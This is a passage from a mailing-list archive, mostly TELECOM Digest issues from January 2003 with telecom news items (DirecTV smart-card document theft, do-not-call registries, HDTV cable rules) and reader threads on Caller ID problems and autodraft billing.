LinuxBIOS Cluster Solutions 230 peachtree st nw ste > 2705 > > > > High-Speed Colocation, Hosting, atlanta.ga.us > 30303 > > > > Linux Hardware, Development & Support > http://www.linuxlabs.com > > > > * Visit us at SuperComputing 2002, Booth 1441 * office/fax > 404.577.7747/3 > > > > > -------------------------------------------------------------------------- > > -- > Dr. Gerard P. Gilfoyle > Physics Department e-mail: ggilfoyl@richmond.edu > University of Richmond, VA 23173 phone: 804-289-8255 > USA fax: 804-289-8482 > ----------------------------steven james, director of research, linux labs LinuxBIOS Cluster Solutions 230 peachtree st nw ste 2705 High-Speed Colocation, Hosting, atlanta.ga.us 30303 Linux Hardware, Development & Support http://www.linuxlabs.com * Visit us at SuperComputing 2002, Booth 1441 * office/fax 404.577.7747/3 --------------------------------------------------------------------------",0,1 editor@telecom-digest.org,ptownson,"Thu, 02 Jan 2003 22:50:41 -0500",TELECOM Digest V22 #216,"TELECOM Digest Thu, 2 Jan 2003 22:51:00 EST Volume 22 : Issue 216 Inside This Issue: Editor: Patrick A. Townson Happy Birthday, Internet; But Which One? (Patrick Townson via Yahoo) FBI Nabs DirecTV-Sharing Student (Monty Solomon) $100K Reward for Stolen ID Data (Monty Solomon) Out the Door (Monty Solomon) There's No Place Like Home / Why American Teens Don't ... (Monty Solomon) U.S. TV Shows Losing Potency Around World (Monty Solomon) Professors Vie With Web for Class's Attention (Monty Solomon) Pact Lifts an Obstacle to HDTV Transition (Monty Solomon) Apple Releases iCal 1.0.1 and iSync 1.0 (Monty Solomon) TiVo, Best Buy Teamed to Deliver Short Film by Standard (Monty Solomon) EarthLink Announces High-Speed 'Safety Net' Program for DirecTV (Solomon) State Tracking Of Auto Movements By GPS Called 'Nutty' (Monty Solomon) Re: Free Caller ID? (joe@obilivan.net) Caller ID Problems (J. Kelly) Re: Call Waiting Prison and Telemarketers (John Higdon) All contents here are copyrighted by Patrick Townson and the individual writers/correspondents. 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Some Honoring Internet's 'Birthday' http://story.news.yahoo.com/news?tmpl=story2&u=/ap/20030103/ap_on_hi_te/techbits_internet_bday Patrick Townson ------------------------------ Date: Thu, 2 Jan 2003 18:03:22 -0500 From: Monty Solomon Subject: FBI Nabs DirecTV-Sharing Student By Associated Press 11:46 AM Jan. 02, 2003 PT WASHINGTON -- The FBI arrested a Russian college student Thursday who was accused of stealing and distributing hundreds of secret documents about new antipiracy technology from DirecTV, the nation's leading satellite television company. The student, identified as Igor Serebryany, 19, of Los Angeles, was accused of sending over the Internet hundreds of sensitive documents describing details about DirecTV's latest ""access card"" technology -- credit-card devices controlling which of the company's 11 million U.S. subscribers can view particular channels. http://www.wired.com/news/politics/0,1283,57039,00.html ------------------------------ Date: Thu, 2 Jan 2003 18:05:17 -0500 From: Monty Solomon Subject: $100K Reward for Stolen ID Data By Associated Press 01:55 PM Jan. 02, 2003 PT PHOENIX -- A government contractor posted a $100,000 reward Tuesday in the theft of Social Security numbers and other personal records of 500,000 military service members and their families in 16 states. The theft of computer hard drives from TriWest Healthcare Alliance could turn into one of the largest identity thefts on record if the information is misused, the Federal Trade Commission said. On Tuesday, prosecutors and TriWest jointly announced the reward for information leading to the arrest and conviction of thieves who broke into Phoenix-based TriWest's office Dec. 14 and stole the equipment. The theft came as the Defense Department is working to computerize the medical records of all military personnel. The stolen computers have no connection to the larger project, but Pentagon officials are ""going to learn from this issue and do what's necessary"" to protect sensitive information, spokesman Jim Turner said. The stolen hard drives contained names, addresses, phone numbers, medical claim histories and Social Security numbers. http://www.wired.com/news/privacy/0,1848,57045,00.html ------------------------------ Date: Thu, 2 Jan 2003 18:12:44 -0500 From: Monty Solomon Subject: Out the Door By BOB HERBERT Merry Christmas. Get lost. That, essentially, was the message Robert Pagein received from his employers -- make that former employers -- at Verizon Communications. Mr. Pagein, who is married and has a year-old son, was a field technician who had worked for the phone company for four years. One of the lures of the job was its stability. The pay wasn't great, but it was steady. If you were disciplined you could pay your bills, take a vacation every year or so, and put a little aside. That's the way it works in theory. In reality, Mr. Pagein was one of 2,400 Verizon workers in New York who were shown the door just a few days before Christmas. Those workers formed the bulk of a pre-holiday wave of terminations that claimed the jobs of 3,500 Verizon employees in the Northeast and mid-Atlantic states. Mr. Pagein will not be destitute. His wife is working and he has a college degree. But the cold-blooded way in which he and his fellow workers were lopped off the employment rolls by Verizon, and the phenomenal gap that exists between the compensation available to the company's ordinary workers and the fabulous, multimillion-dollar packages taken home by executives at the top of the Verizon pyramid, has shaken his faith in a system he believed in. http://www.nytimes.com/2003/01/01/opinion/01HERB.html [TELECOM Digest Editor's Note: Welcome aboard, Mr. Pagein. A lot of us have given up on the 'system' in the past few years. You are our newest member in a growing club. Don't forget when reading NYT articles, you are invited to login using 'telecomdigest' with password 'telecomdigest' to preserve your own privacy. PAT] ------------------------------ Date: Thu, 2 Jan 2003 18:23:51 -0500 From: Monty Solomon Subject: There's No Place Like Home / Why American Teens Don't Want ... There's No Place Like Home Why American Teens Don't Want the New Cell Phones. By Brendan I. Koerner The past year was a thoroughly rotten one for America's wireless industry, stung by price wars and tumbling demand. Pretty much everyone who wants a cell phone already has one, and they're none too eager to buy new $300-$400 handsets simply for the luxury of a sleeker faceplate or a tidier address book. The only way for the mobile market to grow is to get users psyched about data services, such as downloading games, transmitting pictures, or the Short Messaging Service, the wireless equivalent of instant messaging. Which is why T-Mobile hired Catherine Zeta-Jones to hawk its next-generation phones and why Verizon's running those Euro-cool ""Hello, Moto!"" commercials that trumpet cell phones as go-anywhere gaming machines. http://slate.msn.com/id/2076197/ ------------------------------ Date: Thu, 2 Jan 2003 16:14:10 -0500 From: Monty Solomon Subject: U.S. TV Shows Losing Potency Around World By SUZANNE KAPNER LONDON - Want to catch the latest episode of the CBS hit ""C.S.I."" in France? Tune in Saturdays at 11 p.m. How about the CBS show ""Judging Amy"" in Singapore? Try weekdays at midnight. Those programs would have been candidates for prime time several years ago. But today American dramas and sitcoms -- though some remain popular -- increasingly occupy fringe time slots on foreign networks, industry executives say. Instead, a growing number of shows produced by local broadcasters are on the air at the best times. ""Whereas American TV shows used to occupy prime-time slots, they are now more typically on cable, or airing in late-night or weekend slots,"" said Michael Grindon, president of Sony Pictures Television International. The shift counters a longstanding assumption that TV shows produced in the United States would continue to overshadow locally produced shows from Singapore to Sicily. The changes are coming at a time when the influence of the United States on international affairs has chafed friends and foes alike, and some people are expressing relief that at least on television American culture is no longer quite the force it once was. http://www.nytimes.com/2003/01/02/business/businessspecial/02TUBE.html ------------------------------ Date: Thu, 2 Jan 2003 17:07:15 -0500 From: Monty Solomon Subject: Professors Vie With Web for Class's Attention By JOHN SCHWARTZ Universities are rushing toward a wireless future, installing networks that let students and the faculty surf the Internet from laptop computers in the classroom, in the library or by those ponds that always seem to show up on the cover of the campus brochure. But professors say the technology poses a growing challenge for them: retaining their students' attention. In a classroom at American University in Washington on a recent afternoon, the benefits and drawbacks of the new wireless world were on display. From the back row of an amphitheater classroom, more than a dozen laptop screens were visible. As Prof. Jay Mallek lectured graduate students on the finer points of creating and reading an office budget, many students went online to Blackboard.com, a Web site that stores course materials, and grabbed the day's handouts from the ether. But just as many students were off surfing. A young man looked at sports photos while a woman checked out baby photos that just arrived in her e-mailbox. The screens provide a silent commentary on the teacher's attention-grabbing skills. The moment he loses the thread, or fumbles with his own laptop to use its calculator, screens flip from classroom business to leisure. Students dash off e-mail notes and send instant messages. A young man who is chewing gum shows an amusing e-mail message to the woman next to him, and then switches over to read the online edition of The Wall Street Journal. http://www.nytimes.com/2003/01/02/technology/02WIRE.html ------------------------------ Date: Thu, 2 Jan 2003 17:07:27 -0500 From: Monty Solomon Subject: Pact Lifts an Obstacle to HDTV Transition By ERIC A. TAUB THE switch from analog to digital high-definition television has been slow and bumpy. But representatives of the consumer electronics and cable television industries predict that a new set of rules negotiated last month will accelerate the transition. Soon purchasers of new high-definition, or HD, TV sets will be able to receive programming through their cable systems as easily as they now can with an analog set, by plugging a standard cable into the back of the television. Today most HDTV sets require a separate set-top box to receive digital cable programming, and the transmission standards differ from cable system to cable system. Under an agreement between representatives of the Consumer Electronics Association and the National Cable and Telecommunications Association, new cable-ready HDTV's to be introduced in the next few years will be plug-and-play; they will no longer need a separate box to receive digital broadcasts, HDTV versions of pay services or any other available basic cable or pay-TV programming. Up to now there has been no industry standard for how the cable companies transmit high-definition programming, so an HDTV-capable set-top box designed for one system may not work with another. The consumer electronics industry has long argued that consumers have delayed buying digital televisions because they did not know how to connect them to their cable services, did not know if they could record HDTV programs, did not want to use a separate converter box, or feared that the sets would become obsolete. http://www.nytimes.com/2003/01/02/technology/circuits/02teev.html ------------------------------ Date: Thu, 2 Jan 2003 17:13:29 -0500 From: Monty Solomon Subject: Apple Releases iCal 1.0.1 and iSync 1.0 Apple Releases iCal 1.0.1 and iSync 1.0 More Than 1 Million Copies of iCal Distributed CUPERTINO, Calif., Jan. 2 /PRNewswire/ -- Apple(R) (NASDAQ:AAPL) today announced the immediate availability of iCal 1.0.1, an update to Apple's innovative calendar program that lets users manage multiple calendars and share them over the Internet, and the release of iSync 1.0, Apple's breakthrough synchronization software. Since the introduction of iCal in September, more than 1 million copies of iCal have been distributed and more than 200,000 calendars have been published online. http://finance.lycos.com/home/news/story.asp?story=30736310 ------------------------------ Date: Thu, 2 Jan 2003 17:15:18 -0500 From: Monty Solomon Subject: TiVo, Best Buy Teamed to Deliver Short Film by Standard Film Living Rooms of TiVo Households Best Buy Sponsored Short Film 'Waiting for Woody' Written, Starring and Directed by Grant Heslov and Featuring Performances by George Clooney, Jennifer Aniston, Richard Kind, Samantha Mathis and Tate Donovan SAN JOSE, Calif., Jan. 2 /PRNewswire-FirstCall/ -- TiVo (NASDAQ:TIVO), the creator of and leader in television services for digital video recorders (DVR), achieved yet another landmark this week when it became the first DVR to team with an advertising partner, Best Buy, to deliver original content that features some of the top names in Hollywood. ""Waiting for Woody,"" a 30-minute short film produced by the Standard Film Trust of Los Angeles, includes appearances from Hollywood luminaries George Clooney and Jennifer Aniston. It made its TiVo debut on Jan. 1. http://finance.lycos.com/home/news/story.asp?story=30739068 ------------------------------ Date: Thu, 2 Jan 2003 17:16:56 -0500 From: Monty Solomon Subject: EarthLink Announces High-Speed 'Safety Net' Program for DirecTV EarthLink Announces High-Speed 'Safety Net' Program for DirecTV DSL Customers ISP With Largest National High-Speed Footprint Announces Special Offer for Customers to Stay Connected and Switch to EarthLink High Speed Internet ATLANTA, Jan. 2 /PRNewswire-FirstCall/ -- EarthLink (NASDAQ:ELNK) today announced a High-Speed Internet ""Safety Net"" program enabling eligible DirecTV DSL customers to easily transition their service to EarthLink high speed with no activation and equipment fees. New, eligible customers can transition to EarthLink DSL and pay only $21.95 a month for the first three months of service. In addition, EarthLink is offering customers a dial-up promotion featuring 45 days of free dial-up Internet access, as well as special offers for new customers opting for EarthLink's high-speed cable or satellite service. DirecTV DSL, which serves approximately 160,000 customers, announced in December that it would cease operations later this month. http://finance.lycos.com/home/news/story.asp?story=30739430 ------------------------------ Date: Thu, 2 Jan 2003 17:57:45 -0500 From: Monty Solomon Subject: State Tracking Of Auto Movements By GPS Called 'Nutty' By Marc Morano CNSNews.com Senior Staff Writer January 02, 2003 (CNSNews.com) - If a proposal by an Oregon State task force becomes law, the government would be able to use satellite equipment to keep track of each driver's mileage and tax that driver accordingly in order to pay for road repairs. Even the state administrator who proposed the plan thinks citizens ""should be concerned"" about the possibility of civil liberties violations. And Chris Edwards, director of fiscal policy at the free market Cato Institute, told CNSNews.com, ""I think it's nutty and I don't think it's ever going to happen. ------------------------------ From: joe@obilivan.net Subject: Re: Free Caller ID? Date: Thu, 02 Jan 2003 10:00:34 GMT Organization: Cox Communications So, you figure because no one likes TPC that it is okay to accept ""free"" services, such as Caller ID in this case, that are tariffed for sale? Sounds like two-wrongs-make-a-right syndrome. > [TELECOM Digest Editor's Note: Telco -- especially Ameritech -- does > not give anything for free. Telco -- especially Ameritech -- is notorious > about accounting and billing errors. Has your friend yet received any > bills at this new phone number? If not, watch and see what the bill > reflects when it begins arriving each month. If he is already getting > bills on the number, and caller ID is not one of the items on the > bill, then he should consider himself lucky, and hope that one of > their 'routine audits' from time to time does not eventually catch up > with the error. Needless to say, if he ever moves to new premises or > for any other reason invokes a service rep to look at and examine > his bill, his 'free ride' on caller ID may come to an end. If a > routine audit does eventually find the error, most telcos have a > policy of only back-billing for a year, and sometimes they wil write > it off and start fresh. > I had this happen to me about twenty years ago. I was living in a > near-north side apartment hotel in Chicago with switchboard service > for the tenants. I ordered a private phone for my apartment. It took > a *full year* before Illinois Bell decided to start billing me for it. > And that was only because some damn phreak made a couple of phraud > long distance calls which were coin-rated and they had to bill me. I > had what Bell referred to as 'unlimited extended call-pack' which > meant there were never any additional charges to anywhere in the old > area 312. I was *most careful* never to dial a long distance call on > that phone. Anyway, some phreak made a credit card call or somehow > billed my number. When the charges finally came through the accounting > department, no record of my number was found; the charges went into a > suspense ledger pending an investigator personally looking at the > charges and trying to figure them out. This time the investigator > dialed my number -- expecting to get an intercept, no such number > message -- but instead it rang open on my end (I was not at home), > so the investigator called the plant or central office and asked them > what they knew. He was told it had been in service for about a year, > and that apparently 'someone' had never sent the paperwork to the > accounting office; only to plant to get the number turned on. Lazy, > incompetent service reps! The investigator saw to it the paperwork > got into accounting, and he personally back-billed me for service for > the eleven months the phone had been there to date. > So you can never tell for sure about these things. Your friend may or > may not ever get a bill for the caller ID service. But better tell > him to not *ever* get into an argument with some smart-mouth service > rep who takes it on herself to review his service entirely. PAT] [TELECOM Digest Editor's Note: I can assure you that if it had been the other way around -- where TPC owed me money, and that did happen just two months ago -- TPC would have had no concern about refunding it to me. They would have -- and in fact did -- let it go until I just happened to review my account on line one day and saw where I had a new 'credit balance-do not pay' situation. Then I discovered that on October 6 they had made the usual deduction from my bank account (I pay by autodraft) then again on October 26 took it out a second time. When *I* called to complain about it, they first tried to tell me they would just use it for the next month's bill. When I made my usual (almost monthly, it seems) call to the Commission offices in Topeka, I got a call the next day from the usual flunky in the chairman's office who said she would refund it. I didn't hold my breath waiting, but about two weeks later I got the refund. Listen Joe, I am getting to be *so tired* of being a service rep for my own account with those people. If I have to audit my account on line a couple times per month to see the lastest stunt they have pulled, then they can do the same for me. PAT] ------------------------------ From: J Kelly Subject: Caller ID Problems Date: Thu, 02 Jan 2003 09:08:08 -0600 Organization: http://extra.newsguy.com Does anyone have any suggestions on resolving a problem I have been having with Caller ID for the past 13 months? Here's is what is happening: When I receive some *Local* calls, generally either from a business or a county/municipal office, I only recieve the last 4 digits of the number. Instead of seeing 319-334-1234 I will only get 1234 on the display. Any display, even a brand new one plugged in all by itself, nothing else on the line. Name appears as Unavailable. Residential callers in the same exchange will appear correctly with their name displayed, as do long distance and cellular calls (without the name of course on cellular calls). This all started one magical day when I was switched from Qwest to McLeod USA local service service. Of course, McCleod being the CLEC blamed Qwest (it is their switch after all) and Qwest of course blamed McLeod saying they probably have a bad switch configuration, as if McLeod had their own switch here (they don't). I switched back to Qwest a month later to hopefully resolve that problem, and the problem of not having any long distance service due to McLeod/Qwest totally screwing up my line so that an invalid PIC was selected. That fixed nothing. Eventually Qwest addmitted the long distance thing was human error on their part and trasnferred me to someone in the switch engineering group who fixed it. Still, over a year later, they cannot seem to find a problem with the caller id and blame McLeod USA, who is most likely the carrier of all the callers showing up incorrectly. Dozens of trouble tickets later, nothing has been found, each trouble ticket results in a tech making a call from the CO and saying ""look , it works"" and closing the ticket out. Anything suggestions to get this fixed would be appreciated. [TELECOM Digest Editor's Note: Try not paying them for a couple months until *they* get around to calling you to ask for it. Then when they do, tell them you want the Caller ID fixed once and for all. PAT] ------------------------------ From: John Higdon Subject: Re: Call Waiting Prison and Telemarketers Organization: Green Hills and Cows Date: Thu, 02 Jan 2003 18:59:54 -0800 In article , dold@75.usenet.us.com wrote: > CB wrote: >> Then, of course, you have Call Waiting - Caller ID so you can look and >> see who is trying to reach you and then make the appropriate decisions >> as to wether you should terminate the first call and take the second, >> ignore the second caller, etc. > I had that feature in a house where three people were sharing a phone. > Technically, it is an annoyance, as you now get to hear, not only the call > waiting tone, but apparently the caller ID burst of modem data. > Nice feature, bad implementation. Actually, I kind of like it. I used to miss the anemic Call-Waiting tone constantly. Ever since the passing of the 1A-ESS switches, the tone can be easily missed if one is not paying attention ... or talking. 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Townson WorldCom Ups Rates for Consumers, Not Businesses (Monty Solomon) Over 140,000 Join List to Block Telemarketers (Monty Solomon) Signup Begun to Ward Off Telemarketers (Monty Solomon) Government Openness at Issue as Bush Holds On to Records (Monty Solomon) Student Charged in DirecTV Theft (Monty Solomon) Companies in U.S. Sing Blues as Europe Reprises 50's Hits (Monty Solomon) Re: Very Newbie Reboot Question (Geoffrey Welsh) Re: Caller ID Problems (John Higdon) Re: Caller ID Problems (Paul A Lee) Re: Caller ID Problems (Tony Pelliccio) Re: Free Caller ID? (Ed Ellers) Re: Free Caller ID? (Rich Greenberg) Re: Free Caller ID? (joe@obilivan.net) Re: Prison Call Overcharging (Dave Phelps) Re: Modular ICS + Startalk (Dave Phelps) RBOCs Charging Extra $10/Month For More Than One DSL Host (P. Earnhardt) Re: Why Won't my Sprint PCS Phone Roam? (Samsung SCH-3500) (Linc Madison) Re: Out the Door (Ron Chapman) Re: Pact Lifts an Obstacle to HDTV Transition (John Stahl) Rural WV and High Speed Internet (Kim Brennan) Fido Operator Staves Off Bankruptcy (Joey Lindstrom) All contents here are copyrighted by Patrick Townson and the individual writers/correspondents. Articles may be used in other journals or newsgroups, provided the writer's name and the Digest are included in the fair use quote. By using -any name or email address- included herein for -any- reason other than responding to an article herein, you agree to pay a hundred dollars to the recipients of the email. WE DO NOT PERMIT NAME/EMAIL ADDRESS HARVESTING FROM THIS JOURNAL. 'SALTED' EMAIL ADDRESSES APPEAR HEREIN TO VERIFY THIS. YOU GET SUED IN SMALL CLAIMS COURT IF YOU GET CAUGHT SPAMMING OR SENDING VIRUSES. DON'T DO IT. See the bottom of this issue for subscription and archive details and the name of our lawyer; other stuff of interest. ---------------------------------------------------------------------- Date: Fri, 3 Jan 2003 19:26:39 -0500 From: Monty Solomon Subject: WorldCom Ups Rates For Consumers, Not Businesses By Jessica Hall PHILADELPHIA, Jan 3 (Reuters) - Bankrupt telephone and data services company WorldCom Inc. has hiked long-distance calling rates for residential customers, but corporate customers still can bargain for sweet deals on large-scale voice and data contracts, analysts said on Friday. WorldCom has raised consumer long-distance fees four times since it filed for bankruptcy in July, marking a reversal of the ferocious price wars of the late 1990s that drove calling rates down to pennies-a-minute. But prices in the corporate market remain flat-to-slightly lower as WorldCom scrambles to retain its lucrative clients and rivals swoop in to nab customers skittish over WorldCom's bankruptcy and $9 billion accounting scandal. - http://finance.lycos.com/home/news/story.asp?story=30748299 ------------------------------ Date: Fri, 3 Jan 2003 19:38:03 -0500 From: Monty Solomon Subject: Over 140,000 Join List to Block Telemarketers By Bruce Mohl, Globe Staff, 1/3/2003 More than 140,000 people signed up for the state's do-not-call list in its first two days of official operation, indicating that Massachusetts consumers have a strong interest in curtailing the flow of telemarketing calls coming into their homes. Anne L. Collins, deputy director of the state's office of consumer affairs, said about 20,000 Massachusetts residents signed up in the days leading up to the official opening of the list on New Year's Day. On Wednesday and yesterday, she said, another 140,000 signed up. http://www.boston.com/dailyglobe2/003/business/Over_140_000_join_list_to_block_telemarketers+.shtml ------------------------------ Date: Fri, 3 Jan 2003 19:51:08 -0500 From: Monty Solomon Subject: Signup Begun to Ward Off Telemarketers By Associated Press, 1/1/2003 Massachusetts has launched its 'Do Not Call' registry, which allows residents to block telemarketing calls to their homes, and state officials are expecting a huge response. The registry was set up quietly over the weekend, ahead of the announced Jan. 1 start date, and officials said more than 10,000 people have already signed up. Massachusetts has about 3 million residential phone lines, and state officials are predicting about a million of those consumers will sign up within the first month. http://www.boston.com/dailyglobe2/001/metro/Signup_begun_to_ward_off_telemarketers+.shtml ------------------------------ Date: Fri, 3 Jan 2003 21:00:01 -0500 From: Monty Solomon Subject: Government Openness at Issue as Bush Holds On to Records By ADAM CLYMER WASHINGTON, Jan. 2 - The Bush administration has put a much tighter lid than recent presidents on government proceedings and the public release of information, exhibiting a penchant for secrecy that has been striking to historians, legal experts and lawmakers of both parties. Some of the Bush policies, like closing previously public court proceedings, were prompted by the Sept. 11 terrorist attacks and are part of the administration's drive for greater domestic security. Others, like Vice President Dick Cheney's battle to keep records of his energy task force secret, reflect an administration that arrived in Washington determined to strengthen the authority of the executive branch, senior administration officials say. Some of the changes have sparked a passionate public debate and excited political controversy. But other measures taken by the Bush administration to enforce greater government secrecy have received relatively little attention, masking the proportions of what dozens of experts described in recent interviews as a sea change in government openness. A telling example came in late 2001 when Attorney General John Ashcroft announced the new policy on the Freedom of Information Act, a move that attracted relatively little public attention. Although the new policy for dealing with the 1966 statute that has opened millions of pages of government records to scholars, reporters and the public was announced after Sept. 11, it had been planned well before the attacks. The Ashcroft directive encouraged federal agencies to reject requests for documents if there was any legal basis to do so, promising that the Justice Department would defend them in court. It was a stark reversal of the policy set eight years earlier, when the Clinton administration told agencies to make records available whenever they could, even if the law provided a reason not to, so long as there was no ""foreseeable harm"" from the release. http://www.nytimes.com/2003/01/03/politics/03SECR.html ------------------------------ Date: Fri, 3 Jan 2003 21:05:47 -0500 From: Monty Solomon Subject: Student Charged in DirecTV Theft By JENNIFER 8. LEE WASHINGTON, Jan. 2 - A 19-year-old University of Chicago student was arrested in Los Angeles today and charged with stealing trade secrets from DirecTV, the nation's leading satellite television provider. Federal prosecutors said that Igor Serebryany of Los Angeles would be charged under the rarely used 1996 Economic Espionage Act with stealing the documents -- which described the latest technology to control access to DirecTV -- and releasing them on the Internet. He faces a maximum sentence of 10 years in prison and a $250,000 fine. Prosecutors said Mr. Serebryany, a sophomore at the University of Chicago, stole confidential papers about DirecTV's latest generation of satellite television smart cards from the law firm of Jones, Day, Reavis & Pogue. Mr. Serebryany, who worked for an outside document preparation company, was imaging papers for a civil lawsuit over DirecTV's card technology. Jones Day represents DirecTV in a lawsuit against NDS, the company that designs encrypted satellite cards for DirecTV. According to prosecutors, Mr. Serebryany sent hundreds of digital documents to three satellite pirate Web sites in September and October. The confidential documents contained technical specifications for DirecTV's Period 4 generation of satellite smart cards, as well as correspondence between NDS and DirecTV discussing the card's architecture and design, according to DirectTV. The technical details about the card are valuable because the three previous generations of DirecTV access cards have already been hacked by pirates. http://www.nytimes.com/2003/01/03/technology/03PIRA.html ------------------------------ Date: Fri, 3 Jan 2003 21:08:14 -0500 From: Monty Solomon Subject: Companies in U.S. Sing Blues as Europe Reprises 50's Hits By ANTHONY TOMMASINI European copyright protection is expiring on a collector's trove of 1950's jazz, opera and early rock 'n' roll albums, forcing major American record companies to consider deals with bootleg labels and demand new customs barriers. Already reeling from a stagnant economy and the illegal but widespread downloading of copyrighted music from the Internet, the recording companies will now face a perfectly legal influx of European recordings of popular works. Copyright protection lasts only 50 years in European Union countries, compared with 95 years in the United States, even if the recordings were originally made and released in America. So recordings made in the early- to mid-1950's - by figures like Maria Callas, Elvis Presley and Ella Fitzgerald - are entering the public domain in Europe, opening the way for any European recording company to release albums that had been owned exclusively by particular labels. Although the distribution of such albums would be limited to Europe in theory, record-store chains and specialty outlets in the United States routinely stock foreign imports. Expiring copyrights could mean much cheaper recordings for music lovers, but they do not bode well for major record companies. (These copyrights apply to only the recordings, not the music recorded.) The expected crush of material entering the public domain has already sent one giant company, EMI Classics, into a shotgun marriage with a renegade label that it had long tried to shut down to protect its lucrative Callas discography. The influx also has the American record industry talking about erecting a customs barrier. http://www.nytimes.com/2003/01/03/arts/music/03COPY.html ------------------------------ From: Geoffrey Welsh Subject: Re: Very Newbie Reboot Question Date: Fri, 3 Jan 2003 15:56:27 -0500 Reed Loefgren : > I have an SX-2000 Light system. I have never rebooted it except when > the power failed. DISCLAIMER: I do not speak for Mitel, nor for any Mitel dealer, nor have I ever received any formal Mitel training. After a respectable amount of downtime-free (thanks to a decent UPS and lots of spare batteries) running time, a couple of the lines between our SX-2000 and our Mitel Mail system started acting unreliably. Our dealer's technician told us to reboot it. When prompted for advice on how, he said just shut it off and on again. So, long after business hours, we basically simulated a power failure by switching off the UPS rather than flip individual switches (we have several cabinets.) Everything came back fine. Of course, that's no guarantee that you'll be blessed by the same fate! ------------------------------ From: John Higdon Subject: Re: Caller ID Problems Organization: Green Hills and Cows Date: Fri, 03 Jan 2003 09:02:06 -0800 In article , J Kelly wrote: > Here's is what is happening: When I receive some *Local* calls, > generally either from a business or a county/municipal office, I only > recieve the last 4 digits of the number. Instead of seeing > 319-334-1234 I will only get 1234 on the display. Any display, even a > brand new one plugged in all by itself, nothing else on the line. > Name appears as Unavailable. Misconfigurations of the originating PBX can cause this. Your former telco apparently was ""filling in"" the missing data, such as area code and prefix and your new telco does not. Not sure who's responsibility this might be, but the root cause of the problem is associated with the callers' equipment, not your telco or your CID terminal equipment. > Still, over a year later, they cannot seem to find a problem with the > caller id and blame McLeod USA, who is most likely the carrier of all > the callers showing up incorrectly. > Dozens of trouble tickets later, nothing has been found, each trouble > ticket results in a tech making a call from the CO and saying ""look , > it works"" and closing the ticket out. I'll bet that they ultimately discover the problem in the originating PBXes. John Higdon | Email Address Valid | SF: +1 415 428-COWS +1 408 264 4115 | Anytown, USA | FAX: +1 408 264 4407 ------------------------------ From: Paul A Lee Subject: Re: Caller ID Problems Date: Fri, 3 Jan 2003 10:31:04 -0500 In TELECOM Digest V22 #216, J Kelly wrote (in part): > Here's is what is happening: When I receive some *Local* calls, > generally either from a business or a county/municipal office, I only > recieve the last 4 digits of the number. Instead of seeing > 319-334-1234 I will only get 1234 on the display. Any display, even a > brand new one plugged in all by itself, nothing else on the line. > Name appears as Unavailable. It could be that the calls are coming from a PBX via ISDN-PRI trunks, and the originating telco expects the CPID from the PBX, which doesn't deliver complete information. Some telcos overlook the CPID from the PBX and send the BTN (billing telephone number) of the subscriber site as CPID for all calls. Perhaps while you were switching telcos, some CPID and/or trunking changes were being made at the offices you're now seeing four digits only from. I've dealt with a Nortel Meridian system that defaults to delivering the extension number (last four digits) only. To get it to send accurate, complete CPID requires some major reprogramming. Some other PBXs may behave like the Nortel in this regard. The agencies and businesses that you're seeing four digits and no name from may not be aware of what's being sent with their calls. Chances are, if they're not aware of it, there will be no way to explain it to them, either. Paul A Lee Voice: +1 717 730-8355 Sr Telecom Engineer [Voice & Transmission] Fax: +1 717 975-3789 Rite Aid Corporation, Telecomm, 30 Hunter Lane, Camp Hill, PA 17011-2410 ------------------------------ From: Tony Pelliccio Subject: Re: Caller ID Problems Organization: The Ace Tomatoe and Cement Company Date: Fri, 03 Jan 2003 06:55:52 GMT In article , usenet-replies002 @pileof_remove-me_monkeycrap.com says: > Does anyone have any suggestions on resolving a problem I have been > having with Caller ID for the past 13 months? > Here's is what is happening: When I receive some *Local* calls, > generally either from a business or a county/municipal office, I only > recieve the last 4 digits of the number. Instead of seeing > 319-334-1234 I will only get 1234 on the display. Any display, even a > brand new one plugged in all by itself, nothing else on the line. > Name appears as Unavailable. The problem he's experiencing is because the PBX's used by those business and government agencies are probably fed via PRI and their switches (More likely than not AT&T/Lucent/Avaya G3i) lets the agency set the outbound caller-ID information. Tony ------------------------------ From: Ed Ellers Subject: Re: Free Caller ID? Date: Thu, 2 Jan 2003 23:44:37 -0500 wrote: > So, you figure because no one likes TPC that it is okay to accept ""free"" services, such as Caller ID in this case, that are tariffed for sale? > Sounds like two-wrongs-make-a-right syndrome. It's the telco's job to provision the line properly. If they turn on something extra by mistake, it's not my obligation to tell them. In a situation like this the customer is blameless (unlike, for example, one where a cable TV customer climbs the pole to remove a trap in order to get HBO for free). ------------------------------ From: richgr@panix.com (Rich Greenberg) Subject: Re: Free Caller ID? Date: 3 Jan 2003 10:00:57 -0500 Organization: Organized? Me? > [TELECOM Digest Editor's Note: > happened to review my account on line one day and saw where I had a > new 'credit balance-do not pay' situation. Then I discovered that on > October 6 they had made the usual deduction from my bank account (I > pay by autodraft) then again on October 26 took it out a second time. This is exactly why I let NOBODY autodraft my account. I get the paper bill, its due date is (say) Jan 16. It goes on a stack on my desk, and whenever a few have accumulated I log on to electronic bill pay from my bank and pay them. In most cases I will set the pay-on date to the day before the due date, Jan 15 in this example. Haven't had a problem with it yet, takes about the same time & effort as writing a check and mailing it, and costs $0.00 instead of $0.37. Rich Greenberg Work: Rich.Greenberg atsign worldspan.com +1 770-563-6656 N6LRT Marietta, GA, USA Play: richgr atsign panix.com +1 770-321-6507 Eastern time zone. I speak for myself & my dogs only. VM'er since CP-67 Canines:Val(Chinook,CGC,TT), Red & Shasta(Husky,(RIP)) Owner:Chinook-L Atlanta Siberian Husky Rescue. www.panix.com/~richgr/ Asst Owner:Sibernet-L ------------------------------ From: joe@obilivan.net Subject: Re: Free Caller ID? Date: Fri, 03 Jan 2003 10:47:59 GMT Organization: Cox Communications > (I pay by autodraft) That is a dangerous practice to permit TPC unfettered access to your bank account. Just imagine one of those erroneous long distance or ""enhanced"" services hitting your bill, then the TPC wipes out your bank account. Now, you get to argue with them while they have your money and your outstanding checks all bounce. A lot of folks don't realize how volitile electronic debit authorizations can be, unlike credit card charges where they don't get your money until you decide to let them have it. Electronic debits should be limited to recurring charges that are fixed in amount, such as a mortgage or car payment. ""Let the buyer beware"" is really on-target with electronic debit authorizations. [TELECOM Digest Editor's Note: Although the problems you discuss are very real, I still find it easier for me to use autodraft for my regular, recurring bills, such as gas and electric. Both of those bills are fixed amounts (budget plan) so I know what they will be. The cable bill is also a fixed amount and autodrafted. City of Independence water/sewer/garbage pickup is also a fixed amount (with a small tolerance) each month for a year at a time, so is also autodrafted. The only bill which can be trouble is Southwestern Bell. But I have two things in my favor there; or maybe three. I have numerous blocks on my line with my okay: no 900 calls, billed number screeing, and I make most of my long distance 